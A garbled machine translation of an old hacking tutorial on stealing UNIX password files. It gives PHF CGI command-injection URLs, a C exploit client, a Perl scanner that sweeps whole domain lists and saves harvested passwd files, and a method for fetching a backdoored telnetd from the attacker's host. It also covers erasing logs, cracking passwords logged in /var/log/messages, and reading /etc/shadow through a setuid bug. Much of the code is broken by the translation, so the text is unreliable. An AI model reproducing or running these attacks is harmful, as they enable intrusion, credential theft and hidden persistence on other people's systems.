How to get Passwd password file

xiaoxiao2021-03-06  18

table of Contents:

PHF: WWW pH query

PHF query attack new method

Get from the newbie

Get shadow password file

Get / etc / hosts file

This article lists several ways to obtain a password file from UNIX systems. Most of these methods require you to have a valid account; but there are also methods for accessing the system without an account. Here you can also know the complete password file with the difference between the shadow password file, and learn how to read the Shadow password file.

-------------------------------------------------- ------------------------------

PHF: WWW pH query

If there is an executable (with X permission) program named PHF in the directory of WWW, then you can access it via WWW or Linux text browser Lynx. This feature allows you to read files on your system, such as / etc / passwd, etc., and save it on your locally.

Here are what we need to do. If the HTTPD server is running by the root root user, by using PHF, we can become the server's root user; even modify the password of a user on the server.

Here is a Perl script that detects the results obtained by using the getDomain.pl script in the previous chapter and checks users running the server. If it is a root user, it records its ID; if it is not a root user, you will automatically read the passwd file from the / etc directory and save it as domain.???.passwd file.

I will also give another script that allows you to run a command from a shell. As long as the system has PHF, you can enter a command line in the shell and transfer it to the remote system via the pipeline command.

OK. Now you should know what the next step is? Let us learn how to use PHF.

Connect your favorite web browser or the Lynx text browser that is often used in the UNIX system.

After the browser window or the screen appears, enter G (Translator Note: "With the" Go "function of the browser). The following will appear (Translator Note: Take Lynx as an Example):

URL to Open:

Arrow Keys: Up and down to move. Right to Follow a Link; Left to Go Back.

H) ELP O) P) RINT G) o M) ain screen q) UIT / = Search [delete] = history list

Enter: h p: //xxx.org/cgi-bin/phf/?qalias = XID in URL TO OPEN

URL to Open: h p: //xxx.org/cgi-bin/phf/?qalias = XID

Arrow Keys: Up and down to move. Right to Follow a Link; Left to Go Back.

H) ELP O) P) RINT G) o M) ain screen q) UIT / = Search [delete] = history list

Returns the following:

Query Results

/ usr / local / bin / pH -M alias = x ID

Uid = 65534 (Nobody) GID = 65535 (NOGROUP) Groups = 65535 (NOGROUP)

The above shows that the user who runs the server is Nobody. Therefore, we become the Nobody user of the server. Although we are not Root users, it will be. ;-)

Command Line:

H p: //afp.org/cgi-bin/phf/?qalias = xidId is a command that requires the server to return the user ID. Sometimes we need to give a full path, such as: h p: //afp.org/cgi-bin/phf/? Qalias = x / usr / bin / id

Note that the% 0A is the command line content. If you want to enter a space character, you have to use% 20. The following is a few command lines that are often used: (starting with% 0A)

Show passwd password file:

% 0A / BIN / CAT% 20 / ETC / Passwd

Get all the detailed files starting with Pass:

% 0Als% 20-AL% 20 / etc / pass *

If you have a root user permission to access HTTP, back up the passwd file is a passwd.my file:

% 0ACP% 20 / etc / passwd% 20 / etc / passwd.my

Change the root user password (the server often allows you to do it ;-)):

% 0aporeWD% 20Root

(The above command allows you to enter your password when logging in with the root user, (Translator Note: That is, the password of the root user is empty, then telnet This host.) Don't forget to restore the passwd.my to Passwd ( Translator Note: Restore the old password of the root user), delete the backup file, and then you can run a suitable shell and hide it as a sniffier to get the required password.)

As long as you know how to enter a command in UNIX, you will not encounter any difficulties without forgetting to use% 20 instead of space characters.

OK. Let us now get the Passwd file in this example. ;-)

URL to Open: h p: //xxx.org/cgi-bin/phf/?Qalias = xcat / etc / passwd

We will see:

Query Results

/ usr / local / bin / pH -M alias = x cat / etc / passwd

ROOT: R0RMC6LXVWI5I: 0: 0: root: / root: / bin / bash

bin: *: 1: 1: bin: / bin:

Daemon: *: 2: 2: daem: / sbin:

ADM: *: 3: 4: ADM: / VAR / ADM:

lp: *: 4: 7: lp: / var / spool / lpd:

Sync: *: 5: 0: sync: / sbin: / bin / sync

Shutdown: *: 6: 0: shutdown: / sbin: / sbin / shutdown

Halt: *: 7: 0: Halt: / sbin: / sbin / halt

Mail: *: 8: 12: Mail: / var / spool / mail:

News:% 2A: 9: 13: News: / usr / lib / news:

UUCP: *: 10: 14: UUCP: / VAR / SPOOL / uUCPPUBLIC:

Operator: *: 11: 0perator: / root: / bin / bash

Games: *: 12: 100: Games: / usr / games:

Man: *: 13: 15: MAN: / usr / man:

Postmaster: *: 14: 12: Postmaster: / var / spool / mail: / bin / bash

NoBody: *: - 2: 100: NoBody: / ​​dev / null:

FTP: *: 404: 1 :: / home / ftp: / bin / bash

Guest: *: 405: 100: Guest: / dev / null: / dev / null

BHILTON: LKJLIWY08XIWY: 501: 100: Bob Hilton: / Home / Bhilton: / Bashweb: KN0D4HJPFRSOM: 502: 100: Web Master: / Home / Web: / bin / Bash

Mary: EAUDLA / PT / HQG: 503: 100: Mary C. Hilton: / Home / Mary: / bin / bash

(A small cryptographic file ;-))

If you want to save this file, as long as you select "Print" and "Save" in the text browser

Come on the file.

Let us now understand the structure of the Paaswd file:

Mary: EAUDLA / PT / HQG: 503: 100: Mary C. Hilton: / Home / Mary: / bin / bash

1: 2: 3: 4: 5: 6: 7

1 = Username 2 = Encrypted Password 3 = User ID 4 = User Group ID 5 = Real Name 6 = User Root Catalog 7 = Shell

Great. Suppose you don't want to use the WWW browser, compile and perform the following scripts, you can achieve the goal:

PHF.c

------ Cut Here ----

/ * Some Small Changes for Efficiency By Snocrash. * /

/ *

* cgi-bin pHF expedition by loxsmith [xf]

*

* I wrote this in c Because NOT EVERY SYSTEM IS Going to Have Lynx. Also,

* This Saves The Time It Usually Takes To Remember The Syntatical Format

* of the expedition. Because of the host lookup mess, this will take

* Approximately 12 Seconds to Execute with average network load. be patient.

*

* /

#include

#include

#include

#include

#include

#include

#include

Int main (argc, argv)

Int argc;

Char ** argv;

{

INT i = 0, s, port, bytes = 128;

CHAR EXPLOIT [0xFF], Buffer [128], Hostname [256], * Command, J [2];

Struct SockAddr_in sin;

Struct hostent * he;

IF (argc! = 3 && argc! = 4) {

FPRINTF (stderr, "usage:% s command hostname [port]", argv [0]);

Exit (1);

}

Command = (char *) Malloc (Strlen (Argv [1]) * 2);

While (argv [1]! = '/ 0') {

IF (Argv [1] == 32) STRCAT (Command, "% 20"; else {

Sprintf (J, "% C", Argv [1]);

STRCAT (Command, J);

}

i;

}

STRCPY (Hostname, Argv [2]);

IF (argc == 4) Port = ATOI (argv [3]); Else Port = 80; if (sin.sin_addr.s_addr = inet_addr (hostname) == -1) {

He = gethostbyname (Hostname);

IF (he) {

Sin.sin_family = he-> h_addrtype;

Memcpy ((Caddr_t) & sin.sin_addr, he-> h_addr_list [0],

HE-> h_length;

} else {

FPRINTF (stderr, "% s: unknown host% s / n", argv [0], hostname);

Exit (1);

}

}

sin.sin_family = af_INet;

sin.sin_port = htons ((u_short) port);

IF ((s = socket (sin.sin_family, sock_stream, 0)) <0) {

FPrintf (stderr, "% s: could not get socket / n", argv [0]);

Exit (1);

}

IF (Connect (S, Struct Sockaddr *) & SiN, SIZEOF (SIN)) <0) {

Close (s);

FPrintf (stderr, "% s: could not establish connection / n", argv [0]);

Exit (1);

}

Sprintf (Exploit, "GET / CGI-BIN / PHF /? Qalias = x %% 0A% S / N", Command);

Free (Command);

Write (S, EXPLOIT, STRLEN (EXPLOIT);

While (bytes == 128) {

Bytes = Read (S, Buffer, 128);

FPRINTF (stdout, buffer);

}

Close (s);

}

-------- Cut Here

Example:

Bash% PHF ID xxx.org

--------

Query Results

/ usr / local / bin / pH -M alias = x

id

Uid = 65534 (Nobody) GID = 65535 (NOGROUP) Groups = 65535 (NOGROUP)

--------

The above is the response of the system to the program. Again once, using% 20 instead of the space in the command line.

Use the following format to display the Passwd file:

PHF CAT% 20 / etc / passwd hostname.xxx

In addition, Quantumg provided a new method of using PHF on his homepage, I think it is necessary to let everyone know.

The content is as follows:

PHF query attack new method

Yes it is. I know that PHF attack is already well known, but you will be stupid why there is so much stupid Linux users. . .

First ... first introduce the background:

PHF is the cgi-bin command for the WWW server on Apache. It exists defects, and the consequence is to allow anyone to execute commands to run the HTTP server user. Usually the user is Nobody, but sometimes root. To use this defect, just simply connect the web server and do the following query:

GET / CGI-BIN / PHF /? Qalias = x% 0A followed by commands you want to run (with% 20 instead of space characters).

OK. The following is an attack method. What we have to do is looking for a Linux server with a PHF vulnerability. (I often telnet to Issue.NET lookup.) Like most people, I use LoxSmith's PHF program to put the target host name in the second parameter, and the command to be executed is placed in the first parameter:

PHF ID H P: //www.host.to.hack/

Here ID is the command to be executed, which is often what I will do in my first step. Because it not only tells you that this system does not exist, you can also provide information about HTTPD users. So if we get an ideal response, it means that it is our goal. The first thing is to obtain useful information on the target host, this is not a difficult thing. You can (1), check if there is a readable and writable FTP directory; (2) Using RCP (this is my favorite). In order to use this command, you need to set up the local host. (If the local host is your HACK, it will do more.) First is a valid user account, the name should be simple and not easy to pay attention (such as: test); secondly, write the target host name to the local host /etc/host.equiv; then you must have a shell line in /etc/inetd.conf; Finally, establish a .rhost file containing the target host name and HTTPD user in the user (TEST) root directory. as follows:

/etc/hosts.equiv:

H p: //www.host.to.hack/

/etc/inetd.conf:

Shell Stream TCP NOWAIT ROOT / USR / SBIN / TCPD IN.RSHD -L

~ Test / .rhosts:

H p: //www.host.to.hack/ nobody

Great. Once everything is set, you can get information from the remote host.

The HACK method I used to be transmitted to the PHF execution will be transmitted through a small HACK code that has been modified. This is a relaxing thing, and it is not efficient. Now I have found a better solution is a modified in.telnetd, which is changed to start in "debug" mode, "debug" will allow log in from port 9999, and the SHELL executing is / bin / sh, not / bin / login. This in.telnetd allows you to accept any more connections and execute shells at port 9999.

Thus, in order to make the remote host do this, what to do is put it into the user's root directory.

And make sure readable. Then execute:

PHF 'RCP Test@my.ip.address: Bindwarez / TMP' H P: //www.host.to.hack/

In the local log file, you will see a connection with IN.RSHD and the command it execute (such as: rcp -fbindwarez) ... When the PHF is executed, Bindwarez will be copied to / TMP on the remote host In the directory, you can execute this file and log in remote to port 9999.

If the user of this website is stupid to run HTTP with root, you can get the log of the root user by installing an in.telnetd Trojan horse and clear the log. However, in most cases, you can only get Nobody privileges, you need to go to "Black" root users through other vulnerabilities of the system. I often find that this is not difficult because system administrators often think that no one will run the shell on the WWW server, so there is no need to set the security system. It is very shown that they don't understand if their own system has PHF defects. Here, I don't have to emphasize the importance of clearing the log again. The address you entered in the RCP command is to allow system administrators to find it easily. These logs are typically under / usr / local / etc / httpd / logs or / var / lib / http / logs.

The easiest way is to find it on these paths. If you can't find it, you can perform Find / -Name CGI-BIN.

Also, don't forget to clear the IndwareZ process and delete the / tmp / bindwarez file.

This very clever attack method makes the PHF do what you want to do, and PHF has no choice but to this. ;-))

L8S

QUANTUMG

Another way to use the PHF is to perform the following scripts. It uses from rs.internic.net to download and use

GetDomain.pl is analyzed by the domain name file. GetURL.PL scripts can detect every Domain on the network.

The script content is as follows:

GetURL.PL

--------- Cut here

#! / usr / bin / perl -w

#

# geturl by nfin8 / invisible eviL

# Questions to: / msg i-e or / msg i ^ e

#

# Format of h p: //website.dom/cgi-bin/phf? Qalias = x / usr / bin / id

# Format of h p: //website.dom/cgi-bin/phf? Qali ... CAT / etc / passwd

# Ration = "IF user. If User. If User. IF user.

# is not root kiln of execute the 2nd form.

# Assign Null List to @urls Which Will Be Added To Later.

MY (@urls) = ();

MY ($ program) = "Lynx -dump";

# Pull Off FileName from CommandLine. If it isn't defined, The Assign DEFAULT.

MY ($ urlfilename) = shift;

$ URLFILENAME = "URLS" if! Defined ($ urlfilename);

# Do checking on input.

Die ("GetURL: $ URLFILENAME IS A DIRECTORY./N" IF (-d $ urlfilename);

# Open and read contents of url file info @url by line.

Open (File, $ URLFileName) or Die ("GetURL: Cannot Open $ URLFileName for Input./N";

@Urls = ;

Close (file);

# Open output file.

Open (outfile, ">> geturlresults" or Die ("geturl: cannot open output file./n"a; $ $ )="

Foreach $ URL (@urls) {

Print ("Now CHECKING: $ URL";

Chomp ($ URL);

$ result = `$ program h p: // $ {url} / cgi-bin / pHF? Qalias = x / usr / bin / id`

Print outfile ("/ n =================================== / n";

Foreach (split (// n /, $ result)) {

Print Outfile ("$ _ / N";

}

IF ($ Result = ~ m / id = / i) {

IF ($ Result = ~ m / root / i) {

Print ("Logging Root Response./N";

} else {

Print ("Got ID Response, Getting / etc / Passwd ...";

$ results = `$ PROGRAM H P: // $ {url} / cgi-bin / pHF? qalias = x / bin / cat / etc / passwd`;

# Output results to file named .passwd;

Local ($ domainfilename) = ""

$ domainfilename = $ URL;

IF (Open (Passwdfile, "> $ {domainfilename} .passwd") {

Print Passwdfile ("/ N";

Foreach (split (// n /, $ result)) {

Print Passwdfile ("$ _ / N";

}

Close (Passwdfile);

Print ("DONE! [$ DomainFileName] ./ n";

} else {

Print ("Failed! [$ domainfilename] ./ n";

}

}

}

}

# We are done. Close The Output File and End The Program.

Close (Outfile);

0;

------------- Cut here

OK. This is simple. If you define your own domain name file URLS, you can also use getURL.pl.

The following is a script file description:

This lightweight tool is very easy to use. It helps you get root user rights and get Passwd password files from different Domain.

getURL.pl Attempts to Record the Response Response Response of Pernet on the PHF on the Internet. You can choose .com .edu.org .mil .gov or a list of IP addresses that need to be probed. Once a user with root privilege is found, you record UID = root in the result file, then continue to detect the next Domain. If the user found by the PHF detector does not have root privileges, it will read the passwd password file on the Domain and save it in the current directory.

Here are the instructions for this tool:

FTP to RS.Internic.Net Site Search in the Domain Directory:

com.zone.gz

edu.zone.gz

Gov.zone.gz

Mil.zone.gz

Net.zone.gz

ORG.ZONE.GZ

Download these files and run getDomain.pl for domain name files belonging to the target host, such as:

Perl getdomain.pl com.zone com> com.all

This script analyzes all hostnames of the .com field and output it into the file com.all.

If you want to analyze the .edu domain, enter:

Perl getDomain.pl edu.zone edu> edu.all

You will have a file edu.all for geturl.pl.

The format using getURL.pl is as follows:

GetURL.PL

Replace with edu.all or com.all

If you define a domain name file URLS, you don't need when running getURL.pl.

Run results are recorded in the getURlResults file in the current directory.

1. getURL.pl uses Lynx to search (Lynx to look up in the lookup path).

2. If geturl.pl is found to get root permissions on an HTTPD of a URL, the root user is logged.

If the HTTP user is not root, but the user has a PHF permission on HTTP, it will capture the Domain's PASSWD file, and save it in the current directory with FullDomainName.Passwd.

3. You can also provide a file containing the IP address list for geturl.pl.

4. I am using the Lynx and Perl of OS / 2, and there is no problem in the long file name. I have tested in the UNIX machine, which can work normally.

you need to:

1. Perl in the lookup path

2. Lynx in the lookup path

3. Long file name (256 characters) support (such as UNIX or OS / 2)

4. All files listed in this article and included

5. Download the domain name file or self-made URL or IP list file (name URLS name) from the InterNible site.

Enter only getURL.pl when running

Precautions:

If you have a cash payment Internet account or a account obtained through Hack Use this tool to get results, then it is best. Then use another security account to use your labor results. But I don't have to warn you, right? I don't feel ashamed for these tools. The tools provided here are to let you check the security of Domain. ;-)

GetDomain.pl: Analysis .org .com .edu .mil .gov, etc. INTERNIC domain name file

getURL.pl: Detect and record the response results of each Domain

GetURLRESULTS: result Record file for geturl.pl programs

There is also another method here:

If you can read / var / us, you can get some users' passwords you can easily get!

I used this method to get the password of the root user!

Remember how many times are you eager to log in? You may therefore entered your password in login: This kind of thing is easy. So you will have two logins fail, and the system will move at this time.

For example: (Suppose you are very rushing to log in without paying attention to the screen)

Login: (You are entering the bus (and you don't know at this time))

Password: (You thought it is now logged in, enter the username)

Login: (then enter the user password) At this point, the system will generate the following records in the Messages file:

Login: (Here is your user password !!!)

Password ****** (The system will certainly not see the password for you !? But because you are in login:

User password, as long as we have permissions to read the Messages file, you will get the user password, and for CrackerJack

Run (to find the corresponding user). If it is in a small system, perhaps ... is the root password! ;-))

These work can be easily completed by the following scripts!

For Quantum's BINDwarez file, you can find it in the appendix.

------------ Cut here

#! / bin / sh

# Uder a lot of linux distributions (i knowned 3.0.3 and slackware 3.0)

# / var / log / messages is world readable. if a user type in his password at

# The login prompt, it may get logged to / var / log / messages.

#

# I could Swear this Topic Has Been Beaten to Death, But I Still See this

# Problem on Every Linux Box i Have Access To.

#

# DAVE G.

# 12/06/96

#

# h p: //www.escape.com/~DAVEG

Echo Creating Dictionary from / var / log / messages, stored in /tmp/Messages.dict.

GREP "login failure" / var / log / messages | cut -d ',' -f2 | cut -c2- | sort | uniq >> /TMP/Messages.dict.

IF [! -e ./scrack]

THEN

Echo "CREANG SCRACK.C"

Cat < scrack.c

#include

#include

#include

#include

#define get_salt (d, s) STRNCPY (D, S, 2)

Void

Main (Argc, Argv)

Int argc;

Char ** argv;

{

Struct Passwd * PWD;

File * fp;

Char buff [80], SALT [3], * encrypted_string;

IF ((fp = fopen (argv [1], "r")) == null)

{

FPRINTF (stderr, "couldnt find dict file / n");

Exit (1);

}

While (FGETS (BUFF, 80, FP)! = NULL)

{

setpwent ();

BUFF [Strlen (BUFF) -1] = '/ 0';

While ((pwd = getpwent ())! = null)

{

IF (strCMP (* pwd) .pw_passwd, "*")! = 0 && (Strlen ((* pwd) .pw_passwd) == 13))

{

Get_salt (Salt, (* PWD) .pw_passwd);

Encrypted_string = crypt (buff, salt);

IF (STRCMP (Encrypted_String, (* PWD) .pw_passwd) == 0)

{

FPRINTF (stdout, "l:% s p:% s / n", (* pwd) .pw_name, buff);

Fflush (stdout);

}

}

}

}

}

!

Echo "CREATING SCRACK"

Cc -o6 -fomit-frame-pointer -s -o scrack scrack.c

Fi

./scrack /tmp/messages.dict. $

Echo /TMP/Messages.dict.-, ./scrack, and ./scrack.c still exist, delete the yourself.

------ Cut Here

-------------------------------------------------- ------------------------------

Get from the newbie

Great. Take another time, this is another way to get the password. Just follow the related chapters

The content is going to do it. Use your wisdom to make friends with those who have not yet mature. ;-)

correct. Before reading this manual, you may have also been a "novice" friend of someone else! ;-)

-------------------------------------------------- ------------------------------

Get shadow password file

What is shadow password file?

For example, if you take advantage of the Passwd file reached by the above method, the content is as follows:

Root: x: 0: 0: root: / root: / bin / bash

BIN: X: 1: 1: bin: / bin:

Daemon: x: 2: 2: daem: / sbin:

ADM: X: 3: 4: ADM: / VAR / ADM:

LP: x: 4: 7: lp: / var / spool / lpd:

Sync: x: 5: 0: sync: / sbin: / bin / sync

Shutdown: x: 6: 0: shutdown: / sbin: / sbin / shutdown

Halt: x: 7: 0: Halt: / sbin: / sbin / halt

Mail: x: 8: 12: Mail: / var / spool / mail:

News: x: 9: 13: News: / usr / lib / news:

UUCP: X: 10: 14: UUCP: / VAR / SPOOL / UUCPPUBLIC:

Operator: x: 11: 0perator: / root: / bin / bash

Games: x: 12: 100: Games: / usr / games:

MAN: x: 13: 15: Man: / usr / man:

Postmaster: x: 14: 12: Postmaster: / var / spool / mail: / bin / bash

Nobody: x: -2: 100: NoBody: / ​​dev / null:

FTP: X: 404: 1 :: / Home / ftp: / bin / bash

Guest: x: 405: 100: Guest: / dev / null: / dev / null

BHILTON: X: 501: 100: Bob Hilton: / Home / Bhilton: / BIN / BASH

Web: x: 502: 100: Web Master: / Home / Web: / bin / bash

Mary: x: 503: 100: Mary C. Hilton: / Home / Mary: / bin / BASH is not something wrong? Oh, the encrypted password. If you have root permissions, you will find these encrypted passwords in / etc / shadow. Some system administrators will hide the shadow file into other hidden directories. But in most cases, you can find it under the / etc directory. Some Shadow programs will save the password to the master.passwd file. But as long as you have root privileges, you can find it.

Now, suppose you have a valid account, but there is no root permission.

If the host is used by libc5.4.7 (most systems use it ;-)), and one of the following files

There must be SUID permissions:

Ping, Traceroute, Rlogin, OR, SSH

1. Enter BASH or SH to start a Bash Shell

2. Enter: export resolv_host_conf = / etc / shadow

3. Enter one of the above file names and add ASDF parameters, such as:

Ping asdf

If everything is normal, you will get the shadow password file.

This method is effective for testing of me in many systems these days.

Note: You can replace / etc / shadow with the file name you want to read (file owner is root).

The following scripts can make you easily read the required files:

Rcb.c

-------- Cut Here

/ * RCB Phraser - therapy in '96

* Limits: Linux Only, No Binary Files.

* Little Personal Message to the World: fuck censorship!

* /

#include

Void getJunk (const char * filetocat)

{STENV ("Resolv_host_conf", FileTocat, 1);

System ("ping xy 1> / dev / null 2> phraseing";

UNSETENV ("resolv_host_conf";

}

Void Main (Argc, Argv)

Int argc; char ** argv;

{char buffer [200];

CHAR * GAG;

FILE * DEVEL;

IF ((argc == 1) ||! (strcmp (Argv [1], "- H") ||! (Strcmp (Argv [1], "- Help"))))))

{Printf ("RCB Phraser - junked by therapy / n / n";

Printf ("USAGE:% s [no options] [File to Cat] / N / N", Argv [0]);

Exit (1);

}

Getjunk (Argv [1]);

GAG = Buffer;

GAG = 10;

Devel = fopen ("phraasing", "rb";

While (! Feof (deb))

{FGETS (Buffer, Sizeof (Buffer), Devel

IF (strlen> 24)

{STRCPY (Buffer Strlen (Buffer) -24, "/ N";

FPUTS (GAG, STDOUT);

}

}

Fclose (Devel);

REMOVE ("phraseing";

}

-------------- Cut Here

Command line: RCB / etc / shadow (or other files you can't read in this system. ;-)) ------------------------ -------------------------------------------------- --------

Get / etc / hosts file

It should be noted that sometimes you need to know which system is in the HOSTS file, or which other Domain and all IP addresses in this system, so don't forget to read the / etc / hosts file to get later you may need data of

转载请注明原文地址:https://www.9cbs.com/read-41703.html

New Post(0)